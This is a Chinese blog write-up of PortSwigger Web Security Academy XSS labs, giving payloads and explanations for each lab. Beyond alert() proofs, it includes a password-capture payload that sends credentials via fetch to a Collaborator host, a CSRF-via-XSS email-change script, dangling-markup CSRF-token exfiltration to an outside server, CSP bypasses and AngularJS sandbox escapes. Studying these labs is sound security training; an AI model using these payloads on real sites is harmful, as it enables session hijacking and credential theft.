burpsuite靶场XSS漏洞通关代码解析
2023-3-28 19:7:0 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

前面的很简单,看看就过吧

Reflected XSS into HTML context with nothing encoded

payload

<script>alert(1)</script>

Stored XSS into HTML context with nothing encoded

payload

<script>alert(1)</script>

DOM XSS in document.write sink using source location.search

漏洞成因

query参数可控,闭合标签

payload

"><svg onload=alert(1)>

DOM XSS in innerHTML sink using source location.search

漏洞成因

payload

<img src=1 onerror=alert(1)>

DOM XSS in jQuery anchor href attribute sink using location.search source

漏洞成因

returnPath可控,直接写入属性href

payload

javascript:alert(document.cookie)

DOM XSS in jQuery selector sink using a hashchange event

漏洞成因

触发hashchange事件时执行匿名函数

var post=$()这行是用jquery选择对应的元素,可以定位到多个元素

所以下面一行post.get(0)是指符合条件的第一个元素

如果元素存在则执行post.get(0).scrollIntoView();

scrollIntoView()这个方法是跳到对应的元素显示出来

此代码测试scrollIntoView()

触发点击事件后会自动跳到2所在的地方

那接下如何触发hashchange事件

也就是说url中#在内以及以后的部分发生变化就会触发hashchange事件

最后看关键行

var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');

window.location.hash.slice(1)这部分就是指#后面的内容

decodeURIComponent()就是url解码

假设url后面就是#1234

那么这句代码就变成了var post = $('section.blog-list h2:contains('1234')');

接下来看选择器选中的元素

也就是当这些h2标签中含有1234页面就会跳到那个位置

接下来验证猜想

找到最后一个h2内容是Spider Web Security

访问#Security果然会跳到最后的位置

到这里代码就全明白了

思考下面payload为什么能弹窗

先访问#再访问下面的payload

#<img%20src=x%20onerror=alert(1)>

根据我们对代码的分析,这个payload没道理会弹窗的

对代码进行调试分析

发现把代码删减后只留下一行仍会弹窗,说明弹窗就在这一行

var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');

继续改代码,省略传参和事件响应

仍旧弹窗,说明该弹窗是由jquery触发的

我想这个题的知识点就是在此

jquery选择器内可以插入标签

利用payload

前面的代码都懂了,也明白为什么弹窗了,下面就是水到渠成了

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

Reflected XSS into attribute with angle brackets HTML-encoded

payload

闭合了value的双引号

"onmouseover="alert(1)

Stored XSS into anchor href attribute with double quotes HTML-encoded

payload

把输入的内容直接放到href里了,也没啥技术含量

javascript:alert(1)

Reflected XSS into a JavaScript string with angle brackets HTML encoded

payload

闭合单引号执行js

这里有个知识点值得注意,下面代码会弹窗三次

字符串+-alert()+-字符串仍旧会执行alert

DOM XSS in document.write sink using source location.search inside a select element

payload

参数storeId可控,闭合了select标签,追加img标签

product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

此题中<>和引号均被实体化

但发现使用了angular

angular和jquery一样具有自己的特性

payload

{{$on.constructor('alert(1)')()}}

Reflected DOM XSS

payload

"-alert(1)}//

Stored DOM XSS

漏洞成因

下手的地方就是以上两处

payload

<><img src=1 onerror=alert(1)>

由代码可知这两个位置payload都可以执行

Exploiting cross-site scripting to steal cookies

此处开始有点接近实战利用了

利用xss偷取cookie

下面代码就像burp里的repeater一样发送个post请求,请求体是cookie

谁触发了xss这个请求体的cookie自然就是谁的

在自己服务器上做好记录就能看到所有请求以及请求体,如下

搭建好web服务好像请求的url是会自动生成日志的,名字类似xxx_access_log(不会记录body部分)

想省劲的话可以直接在url后面拼接document.cookie

这里多说两句

既然别人带着该网站的cookie访问你的服务器

那你可以在服务器写个脚本(防止cookie过期失效)

1.保存cookie
2.带着cookie发起某些请求,获取敏感信息或进行敏感操作

Exploiting cross-site scripting to capture passwords

也是实战,偷取密码

payload

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

流程基本和上一题是一样的

不过这个payload修改了原有的html

payload中的两个input输入框是我们自己插入的

当有人在输入框输入账号密码,触发onchange事件

onchange事件会把账号密码发送到别人服务器

Exploiting XSS to perform CSRF

上面也提到了,获取cookie后可以进行敏感操作

但是有一些操作是需要csrf校验的,如下

获取csrf token的两种方式

1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)---稍微麻烦

2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)---简单无脑

下面这个payload就是提取了受害者主机上面的token在受害者主机上发起请求(有些严苛条件不得不这么做)

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();

function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&[email protected]')
};
</script>

上面payload中的逻辑顺序是

1.访问my-account页面

2.正则提取csrf token

3.带着token访问/my-account/change-email修改邮箱

注意一点,虽然req.onload = handleResponse;写在第三行

实际是在打开my-account(四五行)后才执行的(要不然你提取哪里的csrf token)

Reflected XSS into HTML context with most tags and attributes blocked

这里就涉及到fuzz的艺术了

首先爆破哪些标签可以用

得到可用标签

爆破可用事件

得到可用事件

payload:body+onresize

onresize在窗口大小改变时触发,那我们直接用代码改变窗口大小就可以了

这里值得思考一下,我们能写dom或者js的地方只有onresize事件里

假如是这样写<body onresize="print();window.resizeBy(1,1);">就本末倒置了

所以在onresize事件里写出触发onresize事件的代码是不靠谱的

这里payload借用了iframe的onload事件来触发onresize事件

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

实际利用就是把payload插入到自己的网站中偷cookie

注意比较

在Exploiting cross-site scripting to steal cookies这题中,
xss是插入在A站点评论区的,也就是说你偷取的cookie肯定是A站点的且大概率是已经登录过的cookie

在本题中,
xss是插入在自己站点上,你并不知道别人有没有登录过A站点所以获取到的大概率是未登录过的cookie

Reflected XSS into HTML context with all tags blocked except custom ones

新知识点:自定义标签

假设waf已经对所有标签拦截且只有onfocus事件可以用

官方payload

<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

xss标签是我们自定义的标签

这里无论id还是class始终弹出-2

结论:网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素

知道了原理,触发弹窗有两个条件

1.url后面跟#选择器

2.选择器选中的元素有tabindex属性且值最小

提出问题:为什么官方payload直接贴上却不会弹窗?(学会思考才是最重要的)

首先判断是否符合条件2(为什么不先判断条件1,因为条件2比较好测)

最终得到的payload

search=<xss+id%3Dx+onfocus%3Dalert%281%29%20tabindex=-100>xss</xss>#x

Reflected XSS with some SVG markup allowed

和之前一题一样fuzz得到未过滤的标签以及事件

可用标签三个

可用事件一个

这里说一下为什么要用animateTransform标签

上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的

animateTransform是有onbegin事件的

svg和animateTransform的关系

可以把svg当成一个图,animateTransform就可以让图旋转

payload

search="><svg><animatetransform onbegin=alert(1)>

Reflected XSS in canonical link tag

payload

'accesskey='x'onclick='alert(1)

闭合单引号增加link的属性

知识点

link三个属性缺一不可,rel属性不可改变

<link rel="canonical" accesskey="x" onclick="alert(1)">

触发

Windows: ALT+SHIFT+X
MacOS: CTRL+ALT+X
Linux: Alt+X

Reflected XSS into a JavaScript string with single quote and backslash escaped

输入1234测试

是不是很像之前做过的某题'-alert(1)-'

可以看到它在我们闭合单引号前加了斜杠,导致无法闭合

那我们是不是可以不用单引号闭合点其他的呢

猜对了,直接闭合script标签

payload

</script><script>alert(1)</script>

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

1234测试,熟悉的味道

单引号闭合被加

script标签闭合被实体化

不要慌,第三种姿势来了

'-alert(1)//

原理也很简单

我们输入的内容是'-alert(1)//

waf又给我们加了一个斜杠就变成了'-alert(1)//

和前面代码拼接起来就是var searchTerms = ''-alert(1)//';

两个\经过转义就是一个\了

alert后面两个//是注释掉后面的内容了

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

payload

多一种思路闭合代码

http://foo?'-alert(1)-'

对比一下就会发现&apos;-alert(1)-&apos;被转义成了'-alert(1)-'

转义后变成了字符串-alert(1)-字符串

漏洞成因:没有源码-.-

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

新知识:模板字符串

就是可以在字符串里面执行一些代码

用python来解释就是下图

1234测试,可以看到是被模板字符串包裹着

payload(轻轻松松)

${alert(1)}

Reflected XSS with event handlers and href attributes blocked

常规跑标签

常规跑事件

所有事件凉凉,href也不能用

那么有什么能代替href的吗

这时候就看js的功底了

attributename可以把href="xxx"分解成attributename=href values=xxx

payload

<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>

Reflected XSS in a JavaScript URL with some characters blocked

漏洞成因

<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>

先试试单引号能不能闭合

fuzz

fuzz的结果就是只要是&开头就合法,那么就试试&'+'1能不能闭合(注意编码,url里的+是空格的意思)

点击Black同时burp抓包,发现请求的url确实是3&1

闭合了单引号说明我们目前能控制post请求body里面的内容但不能弹窗

原来的代码

href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=3&'+'1'}).finally(_ => window.location = '/')"

试试能不能闭合{

测试的话就这样慢慢测

本地测试点击test2是可以弹窗的

href="javascript:fetch('/test', {method:'post',body:'/post?postId=3&'+'1'},alert('test2')).finally(_ => window.location = '/')"

说干就干,测试&'+'1'},alert(1)得到

先不管后面闭合没闭合,重要的是()被过滤了

想不到怎么绕过就看一眼payload吧

payload

&'},x=x=>{throw/**/onerror=alert,1337}, toString=x,window+'',{x:'

下面把payload拆分成五个部分来解释

&'}, x=x=>{throw/**/onerror=alert,1337}, toString=x, window+'', {x:'

&'},闭合前面的{

x=x=>{throw/**/onerror=alert,1337}, 定义一个箭头函数,/**/是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert

toString=x,用箭头函数重载toString函数

window+'',用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数,第8行第9行是等价的

{x:'闭合后面的'},

Reflected XSS with AngularJS sandbox escape without strings

回忆一下之前也有个题是angular,payload是{{$on.constructor('alert(1)')()}}

通过fuzz可以猜测出是按照键值对生成的代码

这就意味着下面xxxxxxxxx的地方是可控的,测试的代码贴出来感兴趣的可以自己测

<html>
<head>
    <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    <title>test</title>
</head>
<body ng-app="labApp" class="ng-scope">

<script>angular.module('labApp', []).controller('vulnCtrl', function ($scope, $parse) {
    $scope.query = {};
    var key = 'xxxxxxxx';
    $scope.query[key] = 'xxxxxxxxxx';
    $scope.value = $parse(key)($scope.query);
});</script>

<h1 ng-controller=vulnCtrl>0 search results for {{value}}</h1>

</body>
</html>

那么查看关键代码是干什么的

$scope.value = $parse(key)($scope.query);

这个是$parse的用法,相关资料很少

大概意思是说给一个表达式进去会返回一个函数

payload

1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

这个漏洞原理还需要研究很多代码

专业的事情交给专业的人吧,这个链接有大部分沙箱逃逸的poc,浪费一天看源码-.-

(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected)

Reflected XSS with AngularJS sandbox escape and CSP

下面就开始接触到CSP了,简单理解就是CSP只会加载自己信任的资源,不信任的统统拦截

payload

search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x'

<input id=x和后面的#x对应,会选中id=x的元素

ng-focus该事件可绕过csp

$event.path|orderBy:'(z=alert)(document.cookie)'angular沙箱逃逸

angular我自己也不熟,之前也花了几天跟里面的代码

我感觉不是专攻这方面的话,知道angular沙箱逃逸如何利用就足够了

Reflected XSS protected by very strict CSP, with dangling markup attack

看官方payload看不懂没事,跟我的思路走一遍就懂了

触发xss的点

可以看到已经闭合前面的标签,但是却没弹窗,是被CSP拦了

修改邮箱需要两个参数,邮箱和csrf

所以第一步就是获取受害者的csrf

悬挂标签的妙用

https://0a9100ac03953f93c04f0c380001004e.web-security-academy.net/my-account?email=1"><button background='//9lveazanrxfo8i8fx050zhatfklc91.oastify.com?

因为我们插入的是button标签并没有闭合,他就会找到下一个button标签的闭合处

用img标签悬挂带出csrf被CSP拦截

第二步绕过CSP

my-account?email="><a%20href="http://x.x.x.87/test.html">Click%20me</a><base%20target=%27

然后看我服务器的test.html

点击click me后会跳转到我们的网址

然后为什么能带出csrf呢

第一点:悬挂标签把csrf当成标签里的内容了,所以可以看到弹窗的内容就是悬挂标签自动闭合后的内容

第二点:<base target='xxx'>此标签会把target的值传递给跳转页面后的window.name,绕过了CSP策略

拿到csrf后就开始思考如何利用了

官方的payload是需要受害者点击两次,第一次是获取csrf,第二次是我们构造的post修改邮箱

在实际利用的时候要受害者点击两次难度会大大增加

那么有没有办法实现一次点击完成整个利用呢

burp有自动生成的csrf脚本

在此基础上修改脚本

大概流程就是接受window.name提取csrf的值,通过js修改html中的csrf,自动提交post请求

<html>
<head>
<title>test</title>
</head>
<body>

<form action="https://0a1e002604b682fbc0ad28e100450051.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]" />
    <input type="hidden" name="csrf" value="bcd4JRiB7jZoxQK9JnpENj09l4DVDEMo" />
    <input type="submit" value="Submit request" />
</form>

<script>

    var csrf_=window.name;
    var re = /value="\w+"/g;
    var csrf = csrf_.match(re)[0].substring(7,csrf_.match(re)[0].length-1);
    var arr = document.getElementsByName("csrf")
    arr[0].value=csrf
    document.forms[0].submit();

</script>
</body>
</html>

一次点击就可以完成利用了,中间会跳转到你自己的服务器页面,可以把页面模仿做成加载中什么之类的

另外说一下绕过CSP的方法还有很多种,可以自己深度学习一下

如果真的实在绕不过CSP可以看看CSP的策略是否信任自己的子域

在子域找xss然后加载子域的js脚本

Reflected XSS protected by CSP, with CSP bypass

xss触发点

CSP拦截

利用点,虽然设置了CSP,但是我们却可以修改CSP的策略

payload

?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

前前后后写了半个月,自己也是一边学习一边记录,如果有不对的地方还请大佬们指正


文章来源: https://xz.aliyun.com/t/12357
如有侵权请联系:admin#unsafe.sh